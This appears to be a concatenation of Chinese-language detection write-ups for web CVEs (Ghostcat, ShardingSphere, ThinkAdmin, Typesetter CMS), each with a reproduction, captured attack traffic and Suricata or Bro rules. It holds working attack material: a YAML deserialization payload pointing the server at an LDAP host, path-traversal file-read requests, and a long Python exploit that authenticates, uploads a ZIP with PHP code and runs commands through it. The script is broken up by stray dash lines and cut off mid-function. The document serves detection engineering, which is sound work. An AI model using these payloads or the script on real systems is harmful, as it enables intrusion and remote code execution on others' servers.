HTTP流量检测规则基于payload关键词进行检测
## 检测规则/思路
### Suricata检测规则
```
yml
# CNVD-2020-10487 CVE-2020-1938
alert tcp any any -> any 8009 (msg:"CNVD-2020-10487 Ghostcat"; content:"javax|2e|servlet|2e|include|2e|request_uri"; content:"javax|2e|servlet|2e|include|2e|path_info"; content:"javax|2e|servlet|2e|include|2e|servlet_path"; reference:url,www.anquanke.com/post/id/199351; classtype:tomcat; sid:202002211; rev:1;)
```
### Bro检测规则
```
yml
module EXPLOIT;
event tcp_packet(c: connection, is_orig: bool, flags: string, seq: count, ack: count, len: count, payload: string)
{
if ( (c$id$resp_p == 8009/tcp) && /javax\.servlet\.include\.request_uri/ in payload && /javax\.servlet\.include\.path_info/ in payload && /javax\.servlet\.include\.servlet_path/ in payload)
{
local rec: EXPLOIT::Info = [$ts=c$start_time,
$src_ip=c$id$orig_h,
$src_port=c$id$orig_p,
$dst_ip=c$id$resp_h,
$dst_port=c$id$resp_p,
$vul_payload=payload,
$vul_describe="CVE-2020-1938 Ghostcat",
$vul_refer="https://www.anquanke.com/post/id/199351",
$vul_level="high"];
Log::write(EXPLOIT::LOG, rec);
}
```
检测规则转载自:**<https://github.com/DaemonShao/CVE-2020-1938>**
### 建议
暂无
## 参考推荐
MITRE-ATT&CK-T1190
<https://attack.mitre.org/techniques/T1190/>
CVE-2020-1938检测规则
<https://github.com/DaemonShao/CVE-2020-1938>
================================================
FILE: Web/2020/T1190-CVE-2020-1947-Apache ShardingSphere远程代码执行漏洞.md
================================================
# T1190-CVE-2020-1947-Apache ShardingSphere远程代码执行漏洞
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
Apache ShardingSphere是京东开源的分布式数据库中间件项目,于2018年11月进入Apache基金会孵化器,可提供数据分片(分库分表)、分布式事务、数据库治理三大功能。。
3月10日,Apache ShardingSphere官方库发布了新版本4.0.1,修复了远程代码执行漏洞(CVE-2020-1947)。攻击者在登录管理后台的前提下,通过提交恶意YAML代码,可实现远程代码执行。请相关用户尽快升级至最新版本,修复此漏洞。
影响范围:Apache ShardingSphere < 4.0.1
## 检测日志
HTTP
## 测试复现
登录后台后,发送如下poc
```
yml
POST /api/schema HTTP/1.1
Host: localhost:8089
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
Access-Token: 替换为自己的Poc
Content-Length: 579
{"name":"CVE-2020-1947","ruleConfiguration":" encryptors:\n encryptor_aes:\n type: aes\n props:\n aes.key.value: 123456abc\n encryptor_md5:\n type: md5\n tables:\n t_encrypt:\n columns:\n user_id:\n plainColumn: user_plain\n cipherColumn: user_cipher\n encryptor: encryptor_aes\n order_id:\n cipherColumn: order_cipher\n encryptor: encryptor_md5","dataSourceConfiguration":"!!com.sun.rowset.JdbcRowSetImpl\n dataSourceName: ldap://127.0.0.1:1389/CommandObject\n autoCommit: true"}
```
## 测试留痕
```
yml
POST /api/schema HTTP/1.1
Host: 10.16.45.164:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Content-Length: 577
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Access-Token: eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhZG1pbiIsImJhc2U2NCI6eyJlbmNvZGVUYWJsZSI6WzY1LDY2LDY3LDY4LDY5LDcwLDcxLDcyLDczLDc0LDc1LDc2LDc3LDc4LDc5LDgwLDgxLDgyLDgzLDg0LDg1LDg2LDg3LDg4LDg5LDkwLDk3LDk4LDk5LDEwMCwxMDEsMTAyLDEwMywxMDQsMTA1LDEwNiwxMDcsMTA4LDEwOSwxMTAsMTExLDExMiwxMTMsMTE0LDExNSwxMTYsMTE3LDExOCwxMTksMTIwLDEyMSwxMjIsNDgsNDksNTAsNTEsNTIsNTMsNTQsNTUsNTYsNTcsNDMsNDddLCJkZWNvZGVUYWJsZSI6Wy0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLDYyLC0xLDYyLC0xLDYzLDUyLDUzLDU0LDU1LDU2LDU3LDU4LDU5LDYwLDYxLC0xLC0xLC0xLC0xLC0xLC0xLC0xLDAsMSwyLDMsNCw1LDYsNyw4LDksMTAsMTEsMTIsMTMsMTQsMTUsMTYsMTcsMTgsMTksMjAsMjEsMjIsMjMsMjQsMjUsLTEsLTEsLTEsLTEsNjMsLTEsMjYsMjcsMjgsMjksMzAsMzEsMzIsMzMsMzQsMzUsMzYsMzcsMzgsMzksNDAsNDEsNDIsNDMsNDQsNDUsNDYsNDcsNDgsNDksNTAsNTFdLCJkZWNvZGVTaXplIjozLCJlbmNvZGVTaXplIjo0LCJQQUQiOjYxLCJwYWQiOjYxLCJ1bmVuY29kZWRCbG9ja1NpemUiOjMsImVuY29kZWRCbG9ja1NpemUiOjQsImxpbmVMZW5ndGgiOjAsImNodW5rU2VwYXJhdG9yTGVuZ3RoIjoyfSwiZ3NvbiI6eyJjYWxscyI6eyJ0aHJlYWRMb2NhbEhhc2hDb2RlIjoxMzk4MDMyNzAxfSwidHlwZVRva2VuQ2FjaGUiOnsiamF2YS5sYW5nLkRvdWJsZSI6e30sImphdmEudXRpbC5NYXBcdTAwM2Njb20uZ29vZ2xlLmdzb24ucmVmbGVjdC5UeXBlVG9rZW5cdTAwM2M/XHUwMDNlLCBjb20uZ29vZ2xlLmdzb24uVHlwZUFkYXB0ZXJcdTAwM2M/XHUwMDNlXHUwMDNlIjp7fSwiY29tLmdvb2dsZS5nc29uLmludGVybmFsLnJlZmxlY3QuUmVmbGVjdGlvbkFjY2Vzc29yIjp7fSwiY29tLmdvb2dsZS5nc29uLmludGVybmFsLmJpbmQuT2JqZWN0VHlwZUFkYXB0ZXIkMSI6e30sImNvbS5nb29nbGUuZ3Nvbi5Mb25nU2VyaWFsaXphdGlvblBvbGljeSI6e30sImNvbS5nb29nbGUuZ3Nvbi5UeXBlQWRhcHRlclx1MDAzYz9cdTAwM2UiOnt9LCJqYXZhLmxhbmcuQ2xhc3NcdTAwM2M/XHUwMDNlIjp7fSwiamF2YS5sYW5nLlN0cmluZyI6e30sImphdmEubGFuZy5Cb29sZWFuIjp7fSwiY29tLmdvb2dsZS5nc29uLmludGVybmFsLmJpbmQuVHlwZUFkYXB0ZXJzJDMwIjp7fSwiY29tLmdvb2dsZS5nc29uLkZpZWxkTmFtaW5nUG9saWN5JDEiOnt9LCJvcmcuYXBhY2hlLmNvbW1vbnMuY29kZWMuYmluYXJ5LkJhc2U2NCI6e30sImNvbS5nb29nbGUuZ3Nvbi5Mb25nU2VyaWFsaXphdGlvblBvbGljeSQxIjp7fSwiY29tLmdvb2dsZS5nc29uLnJlZmxlY3QuVHlwZVRva2VuXHUwMDNjP1x1MDAzZSI6e30sImNvbS5nb29nbGUuZ3Nvbi5pbnRlcm5hbC5iaW5kLlRpbWVUeXBlQWRhcHRlciQxIjp7fSwiamF2YS5sYW5nLnJlZmxlY3QuVHlwZSI6e30sImphdmEudXRpbC5MaXN0XHUwMDNjY29tLmdvb2dsZS5nc29uLlR5cGVBZGFwdGVyRmFjdG9yeVx1MDAzZSI6e30sImphdmEubGFuZy5CeXRlIjp7fSwiamF2YS5sYW5nLkludGVnZXIiOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwuYmluZC5TcWxEYXRlVHlwZUFkYXB0ZXIkMSI6e30sImNvbS5nb29nbGUuZ3Nvbi5pbnRlcm5hbC5iaW5kLkpzb25BZGFwdGVyQW5ub3RhdGlvblR5cGVBZGFwdGVyRmFjdG9yeSI6e30sImNvbS5nb29nbGUuZ3Nvbi5pbnRlcm5hbC5iaW5kLk1hcFR5cGVBZGFwdGVyRmFjdG9yeSI6e30sImJ5dGUiOnt9LCJieXRlW10iOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwuYmluZC5UeXBlQWRhcHRlcnMkMzQiOnt9LCJjb20uZ29vZ2xlLmdzb24uSW5zdGFuY2VDcmVhdG9yXHUwMDNjP1x1MDAzZSI6e30sIm9yZy5hcGFjaGUuc2hhcmRpbmdzcGhlcmUudWkuc2VjdXJpdHkuVXNlckF1dGhlbnRpY2F0aW9uU2VydmljZSI6e30sImNvbS5nb29nbGUuZ3Nvbi5pbnRlcm5hbC5iaW5kLlJlZmxlY3RpdmVUeXBlQWRhcHRlckZhY3RvcnkiOnt9LCJqYXZhLnV0aWwuTWFwXHUwMDNjamF2YS5sYW5nLnJlZmxlY3QuVHlwZSwgY29tLmdvb2dsZS5nc29uLkluc3RhbmNlQ3JlYXRvclx1MDAzYz9cdTAwM2VcdTAwM2UiOnt9LCJqYXZhLmxhbmcuVGhyZWFkTG9jYWxcdTAwM2NqYXZhLnV0aWwuTWFwXHUwMDNjY29tLmdvb2dsZS5nc29uLnJlZmxlY3QuVHlwZVRva2VuXHUwMDNjP1x1MDAzZSwgY29tLmdvb2dsZS5nc29uLkdzb24kRnV0dXJlVHlwZUFkYXB0ZXJcdTAwM2M/XHUwMDNlXHUwMDNlXHUwMDNlIjp7fSwiY29tLmdvb2dsZS5nc29uLkdzb24iOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwuYmluZC5UeXBlQWRhcHRlcnMkMzIiOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwuYmluZC5UeXBlQWRhcHRlcnMkMzUiOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwuQ29uc3RydWN0b3JDb25zdHJ1Y3RvciI6e30sImJvb2xlYW4iOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwuYmluZC5EYXRlVHlwZUFkYXB0ZXIkMSI6e30sImphdmEudXRpbC5MaXN0XHUwMDNjY29tLmdvb2dsZS5nc29uLkV4Y2x1c2lvblN0cmF0ZWd5XHUwMDNlIjp7fSwiY29tLmdvb2dsZS5nc29uLlR5cGVBZGFwdGVyRmFjdG9yeSI6e30sImludCI6e30sImNvbS5nb29nbGUuZ3Nvbi5GaWVsZE5hbWluZ1N0cmF0ZWd5Ijp7fSwiY29tLmdvb2dsZS5nc29uLmludGVybmFsLmJpbmQuVHlwZUFkYXB0ZXJzJDMzIjp7fSwiY29tLmdvb2dsZS5nc29uLkV4Y2x1c2lvblN0cmF0ZWd5Ijp7fSwiY29tLmdvb2dsZS5nc29uLmludGVybmFsLmJpbmQuQXJyYXlUeXBlQWRhcHRlciQxIjp7fSwiZG91YmxlIjp7fSwiY29tLmdvb2dsZS5nc29uLmludGVybmFsLnJlZmxlY3QuUHJlSmF2YTlSZWZsZWN0aW9uQWNjZXNzb3IiOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwuRXhjbHVkZXIiOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwuYmluZC5UeXBlQWRhcHRlcnMkMjYiOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwuYmluZC5Db2xsZWN0aW9uVHlwZUFkYXB0ZXJGYWN0b3J5Ijp7fX0sImNvbnN0cnVjdG9yQ29uc3RydWN0b3IiOnsiaW5zdGFuY2VDcmVhdG9ycyI6e30sImFjY2Vzc29yIjp7fX0sImpzb25BZGFwdGVyRmFjdG9yeSI6eyJjb25zdHJ1Y3RvckNvbnN0cnVjdG9yIjp7Imluc3RhbmNlQ3JlYXRvcnMiOnt9LCJhY2Nlc3NvciI6e319fSwiZmFjdG9yaWVzIjpbbnVsbCxudWxsLHsidmVyc2lvbiI6LTEuMCwibW9kaWZpZXJzIjoxMzYsInNlcmlhbGl6ZUlubmVyQ2xhc3NlcyI6dHJ1ZSwicmVxdWlyZUV4cG9zZSI6ZmFsc2UsInNlcmlhbGl6YXRpb25TdHJhdGVnaWVzIjpbXSwiZGVzZXJpYWxpemF0aW9uU3RyYXRlZ2llcyI6W119LG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLHsiY29uc3RydWN0b3JDb25zdHJ1Y3RvciI6eyJpbnN0YW5jZUNyZWF0b3JzIjp7fSwiYWNjZXNzb3IiOnt9fX0seyJjb25zdHJ1Y3RvckNvbnN0cnVjdG9yIjp7Imluc3RhbmNlQ3JlYXRvcnMiOnt9LCJhY2Nlc3NvciI6e319LCJjb21wbGV4TWFwS2V5U2VyaWFsaXphdGlvbiI6ZmFsc2V9LHsiY29uc3RydWN0b3JDb25zdHJ1Y3RvciI6eyJpbnN0YW5jZUNyZWF0b3JzIjp7fSwiYWNjZXNzb3IiOnt9fX0sbnVsbCx7ImNvbnN0cnVjdG9yQ29uc3RydWN0b3IiOnsiaW5zdGFuY2VDcmVhdG9ycyI6e30sImFjY2Vzc29yIjp7fX0sImZpZWxkTmFtaW5nUG9saWN5IjoiSURFTlRJVFkiLCJleGNsdWRlciI6eyJ2ZXJzaW9uIjotMS4wLCJtb2RpZmllcnMiOjEzNiwic2VyaWFsaXplSW5uZXJDbGFzc2VzIjp0cnVlLCJyZXF1aXJlRXhwb3NlIjpmYWxzZSwic2VyaWFsaXphdGlvblN0cmF0ZWdpZXMiOltdLCJkZXNlcmlhbGl6YXRpb25TdHJhdGVnaWVzIjpbXX0sImpzb25BZGFwdGVyRmFjdG9yeSI6eyJjb25zdHJ1Y3RvckNvbnN0cnVjdG9yIjp7Imluc3RhbmNlQ3JlYXRvcnMiOnt9LCJhY2Nlc3NvciI6e319fSwiYWNjZXNzb3IiOnt9fV0sImV4Y2x1ZGVyIjp7InZlcnNpb24iOi0xLjAsIm1vZGlmaWVycyI6MTM2LCJzZXJpYWxpemVJbm5lckNsYXNzZXMiOnRydWUsInJlcXVpcmVFeHBvc2UiOmZhbHNlLCJzZXJpYWxpemF0aW9uU3RyYXRlZ2llcyI6W10sImRlc2VyaWFsaXphdGlvblN0cmF0ZWdpZXMiOltdfSwiZmllbGROYW1pbmdTdHJhdGVneSI6IklERU5USVRZIiwiaW5zdGFuY2VDcmVhdG9ycyI6e30sInNlcmlhbGl6ZU51bGxzIjpmYWxzZSwiY29tcGxleE1hcEtleVNlcmlhbGl6YXRpb24iOmZhbHNlLCJnZW5lcmF0ZU5vbkV4ZWN1dGFibGVKc29uIjpmYWxzZSwiaHRtbFNhZmUiOnRydWUsInByZXR0eVByaW50aW5nIjpmYWxzZSwibGVuaWVudCI6ZmFsc2UsInNlcmlhbGl6ZVNwZWNpYWxGbG9hdGluZ1BvaW50VmFsdWVzIjpmYWxzZSwiZGF0ZVN0eWxlIjoyLCJ0aW1lU3R5bGUiOjIsImxvbmdTZXJpYWxpemF0aW9uUG9saWN5IjoiREVGQVVMVCIsImJ1aWxkZXJGYWN0b3JpZXMiOltdLCJidWlsZGVySGllcmFyY2h5RmFjdG9yaWVzIjpbXX19
Content-Type: application/json;charset=utf-8
{
"name": "CVE-2020-1947",
"ruleConfiguration": " encryptors:
encryptor_aes:
type: aes
props:
aes.key.value: 123456abc
encryptor_md5:
type: md5
tables:
t_encrypt:
columns:
user_id:
plainColumn: user_plain
cipherColumn: user_cipher
encryptor: encryptor_aes
order_id:
cipherColumn: order_cipher
encryptor: encryptor_md5",
"dataSourceConfiguration": "!!com.sun.rowset.JdbcRowSetImpl
dataSourceName: ldap://127.0.0.1:1389/ExportObject
autoCommit: true"
}
HTTP/1.1 200 OK
Date: Sun, 06 Jun 2021 17:09:47 GMT
Content-Length: 11
Content-Type: text/plain; charset=utf-8
aesresponse
```
## 检测规则/思路
### Suricata规则
```
s
alert http any any -> any any (msg:"CVE-2020-1947";flow:established,to_server;content:"POST";http_method;content:"/api/schema";http_uri;flowbits:set,first_req;noalert;classtype:web-application-attck;sid:1;rev:1;)
alert http any any -> any any (msg:"CVE-2020-1947-Apache ShardingSphere远程代码执行漏洞";flow:established,to_client;content:"200";http_stat_code;content:"aesresponse";http_server_body;flowbits:isset,first_req;reference:url,www.cnblogs.com/potatsoSec/p/12461330.html;classtype:web-application-attck;sid:2;rev:1;)
```
### 建议
流量+安全设备比较容易检测到此攻击行为。
## 参考推荐
MITRE-ATT&CK-T1190
<https://attack.mitre.org/techniques/T1190/>
CVE-2020-1947 Sharding-UI的反序列化复现及分析
<https://www.cnblogs.com/potatsoSec/p/12461330.html>
================================================
FILE: Web/2020/T1190-CVE-2020-25540-Thinkadmin v6任意文件读取漏洞.md
================================================
# T1190-CVE-2020-25540-Thinkadmin v6任意文件读取漏洞
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
ThinkAdmin6版本存在路径遍历漏洞。该漏洞主要是因为api中存在危险函数,没有任何过滤。攻击者可利用该漏洞通过请求编码参数任意读取远程服务器上的任意文件。
影响范围:ThinkAdmin版本小于 ≤ 2020.08.03.01
## 检测日志
HTTP
## 测试复现
Burp抓包,修改参数
```
yml
POST /admin.html?s=admin/api.Update/node HTTP/1.1
Host: 127.0.0.1:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=4e3eb8bf4d142b8bc21279a7418eea26
Upgrade-Insecure-Requests: 1
Content-Length: 27
Content-Type: application/x-www-form-urlencoded
- ----------------------------------------------
rules=%5b%22%2e%5c%2f%22%5d
```
## 测试留痕
### 目录遍历
```
yml
POST /admin.html?s=admin/api.Update/node HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
X-Forwarded-For: 8.8.8.8
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
rules=%5B%22.%2F%22%5D
```
### 文件读取
```
s
GET /admin.html?s=admin/api.Update/get/encode/5i6s524v5s6j5y4q1a383c38 HTTP/1.1
Host: 192.168.100.194:8000
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: think_lang=zh-cn; PHPSESSID=d1645e8a719cdc2b6b8eb98c50624f52
Connection: close
HTTP/1.1 200 OK
Host: 192.168.100.194:8000
Date: Wed, 09 Dec 2020 10:53:17 +0800
Connection: close
X-Powered-By: PHP/7.2.1
Content-Type:application/json; charset=utf-8
Set-Cookie: think_lang=zh-cn; path=/
Set-Cookie: PHPSESSID=d1645e8a719cdc2b6b8eb98c50624f52; path=/
...{"code":1,"info":".....................","data":{"content":"dGVzdHRlc3R0ZXN0"}}
```
## 检测规则/思路
### Suricata规则
#### 目录遍历检测规则
```
s
alert http any any -> any any (msg:"CVE-2020-25540-rsq";flow:established,to_server;content:"POST";http_method;content:"/admin.html?s=admin/api.Update/node";http_uri;content:"rules=";http_client_body;reference:url,www.freebuf.com/vuls/256529.html;flowbits:set,first_rsq;noalert;classtype:web-application-attck;sid:1;rev:1;)
alert http any any -> any any (msg:"CVE-2020-25540-目录遍历";flow:established,to_client;content:"200";http_stat_code;content:"获取文件列表成功";http_server_body;flowbits:isset,first_rsq;sid:2;rev:1;)
```
### 文件读取检测规则
```
s
alert http any any -> any any (msg:"CVE-2020-25540-rsq";flow:established,to_server;content:"GET";http_method;content:"/admin.html?s=admin/api.Update/get/encode/";http_uri;reference:url,www.freebuf.com/vuls/256529.html;flowbits:set,first_rsq;noalert;classtype:web-application-attck;sid:1;rev:1;)
alert http any any -> any any (msg:"CVE-2020-25540-文件读取";flow:established,to_client;content:"200";http_stat_code;content:"data";http_server_body;flowbits:isset,first_rsq;sid:2;rev:1;)
```
### 建议
流量+安全设备比较容易检测到此攻击行为。
## 参考推荐
MITRE-ATT&CK-T1190
<https://attack.mitre.org/techniques/T1190/>
CVE-2020-25540目录遍历文件读取漏洞
<https://www.freebuf.com/vuls/256529.html>
================================================
FILE: Web/2020/T1190-CVE-2020-25790-Typesetter CMS文件上传漏洞.md
================================================
# T1190-CVE-2020-25790-Typesetter CMS文件上传漏洞
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
Typesetter CMS存在代码问题漏洞,该漏洞源于允许管理员通过ZIP归档中的. PHP文件上传和执行任意PHP代码。
影响范围:Typesetter CMS 5.x全版本
## 检测日志
HTTP
## 测试复现
虽然对上传的文件进行了过滤,但是没有对解压文件的文件进行过滤,导致可以上传,php的压缩文件,解压后就可以执行php文件。
Finder.class.php文件中extract函数解压后未对,解压后的文件名进行任何过滤。POC如下:
```
yml
import argparse
- --------------
from bs4 import BeautifulSoup
- --------------
import requests
- --------------
import sys
- --------------
import re
----------
import urllib3
- --------------
from urllib3.exceptions import InsecureRequestWarning
-----------------------------------------------------
banner = """---------------
usage: main.py [-h] -p PASSWORD -l LOGIN -u URL
==> Exploit for CVE 2020-25790
optional arguments:
- h, --help show this help message and exit
- p PASSWORD, --password PASSWORD
==> admin password
- l LOGIN, --login LOGIN
==> admin login
- u URL, --url URL ==> main URL
"""
-----------------------------------------------------
print(banner)
- --------------
menu = argparse.ArgumentParser(description="==> Exploit for CVE 2020-25790")
- --------------
menu.add_argument("-p", "--password", required=True, help="==> admin password")
- --------------
menu.add_argument("-l", "--login", required=True, help="==> admin login")
- --------------
menu.add_argument("-u", "--url", required=True, help="==> main URL")
- --------------
menu.add_argument("-f", "--file", required=True, help="==> Malicous zip file with php file inside")
- --------------
args = menu.parse_args()
-----------------------------------------------------
login = args.login
- --------------
password = args.password
- --------------
url = args.url
- --------------
file = args.file
----------
PROXIES = proxies = {
- --------------
"http": "http://127.0.0.1:8080",
- --------------
"https": "https://127.0.0.1:8080",
- --------------
}
----------
class Exploit:
-----------------------------------------------------
def __init__(self, login, password, url, file):
- --------------
self.login = login
- --------------
self.password = password
- --------------
self.url = url
- --------------
self.user_agent = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari"
- --------------
self.file = open(file, 'rb')
-----------------------------------------------------
def get_nounce(self):
- --------------
try:
- --------------
url = self.url + "/Admin"
- --------------
r = requests.get(url=url, headers={'User-Agent': self.user_agent}, timeout=3, verify=False)
- --------------
data = r.text
- --------------
soap_obj = BeautifulSoup(data, 'html.parser')
- --------------
for inp in soap_obj.find_all("input"):
- --------------
for v in inp:
- --------------
nounce = v['value']
- --------------
if nounce != None or nounce != "":
- --------------
return nounce
- --------------
except (requests.exceptions.BaseHTTPError, requests.exceptions.Timeout) as e:
- --------------
print(f'==> Error {e}')
-----------------------------------------------------
def get_hash_folders(self):
-----------------------------------------------------
cookie_auth = self.get_cookies()
- --------------
hash_verified = self.get_verified()
- --------------
data_post = {'verified': hash_verified, 'cmd': 'open', 'target':'', 'init': 1, 'tree': 1}
- --------------
try:
- --------------
url = self.url + "/Admin_Finder"
- --------------
r = requests.post(url=url, data=data_post, headers={'User-Agent': self.user_agent, 'Cookie': cookie_auth}, timeout=10, verify=False)
- --------------
json_data = r.json()
- --------------
hash_dir = json_data['files'][2]['hash']
- --------------
return hash_dir
- --------------
except (requests.exceptions.BaseHTTPError, requests.exceptions.Timeout) as e:
- --------------
print(f'==> Error {e}')
-----------------------------------------------------
def get_cookies(self):
-----------------------------------------------------
nounce = self.get_nounce()
- --------------
if nounce:
- --------------
try:
- --------------
url = self.url + "/Admin"
- --------------
data_post = {'file': '', 'cmd': 'login', 'login_nonce': nounce, 'username': self.login, 'user_sha': '',
- --------------
'password': self.password, 'pass_md5': '', 'pass_sha': '', 'pass_sha512': '',
- --------------
'remember': 'on', 'verified': ''}
- --------------
r = requests.post(url=url, verify=False, timeout=3, data=data_post, allow_redirects=False,
- --------------
headers={'User-Agent': self.user_agent, 'Cookie': 'g=2'})
- --------------
cookie_admin = r.headers['Set-Cookie']
- --------------
cookie_name = cookie_admin.split(':')[0].split('=')[0]
- --------------
cookie_value = cookie_admin.split(':')[0].split('=')[1].split(';')[0]
-----------------------------------------------------
if cookie_name == None or cookie_name == "":
- --------------
if cookie_value == None or cookie_value == "":
- --------------
print("==> Something went wrong while login")
- --------------
else:
- --------------
data = f"{cookie_name}={cookie_value};"
- --------------
return data
- --------------
except (requests.exceptions.Timeout, requests.exceptions.BaseHTTPError) as e:
- --------------
print(f'==> Error while login {e}')
-----------------------------------------------------
def upload_zip(self):
- --------------
url = self.url + '/Admin_Finder'
- --------------
hash_verified = self.get_verified()
- --------------
hash_dir = self.get_hash_folders()
- --------------
auth_cookie = self.get_cookies()
-----------------------------------------------------
try:
- --------------
print(f"==> Uploading file: {self.file}")
- --------------
data = {'cmd': "upload", "target": hash_dir, "verified": hash_verified}
- --------------
r = requests.post(url=url, verify=False, timeout=10,
- --------------
headers={'User-Agent': self.user_agent, 'Cookie': auth_cookie}, data=data, files={'upload[]': self.file})
- --------------
hash_file = r.json()['added'][0]['hash']
- --------------
self.extract_file(auth_cookie, hash_file, hash_verified)
- --------------
except (requests.exceptions.HTTPError, requests.exceptions.Timeout) as e:
- --------------
print(f"==> Error while uploading {e}")
----------
def extract_file(self, auth_cookie, hash_file, hash_verified):
- --------------
data_post={'verified': hash_verified, 'cmd': 'extract', 'target': hash_file}
- --------------
try:
- --------------
url = self.url + "/Admin_Finder"
- --------------
r = requests.post(url=url, data=data_post, headers={'User-Agent': self.user_agent, 'Cookie': auth_cookie}, timeout=10, verify=False)
- --------------
name_file = r.json()['added'][0]['name']
- --------------
print(f"==> All Hashes are collected from: {name_file}")---------------
- --------------
self.xpl(auth_cookie,name_file)
- --------------
except (requests.exceptions.BaseHTTPError, requests.exceptions.Timeout) as e:
- --------------
print(f'==> Error {e}')
----------
def xpl(self, auth_cookie, name_file):
- --------------
try:
- --------------
url = self.url + "/data/_uploaded/file/" + name_file + "?cmd=id"
- --------------
new_url = url.replace("index.php", "")
- --------------
print(f"==> Try to exploit: {new_url}")
- --------------
r = requests.get(url=new_url, headers={'User-Agent': self.user_agent, 'Cookie': auth_cookie}, timeout=10, verify=False)
- --------------
pattern = r'<pre>(.*?)</pre>'
- --------------
m = re.search(pattern, r.text.replace("\n", ""))
- --------------
if m is not None and m != "":
- --------------
print(f"==> Vulnerable: {m.group(1)}")
- --------------
except (requests.exceptions.BaseHTTPError, requests.exceptions.Timeout) as e:
- --------------
print(f'==> Error {e}')
----------
def get_verified(self):
- --------------
try:
- --------------
url = self.url + "/Admin/Uploaded"
- --------------
auth_cookie = self.get_cookies()
- --------------
r = requests.get(url=url, headers={'User-Agent': self.user_agent, 'Cookie': auth_cookie}, timeout=10, verify=False)
- --------------
data = r.text
- --------------
pattern_regex = r'"verified":"(.*)"}'
- --------------
m = re.search(pattern_regex, data)
- --------------
if m is not None or m != "":
- --------------
return m.group(1)
-----------------------------------------------------
except (requests.exceptions.BaseHTTPError, requests.exceptions.Timeout) as e:
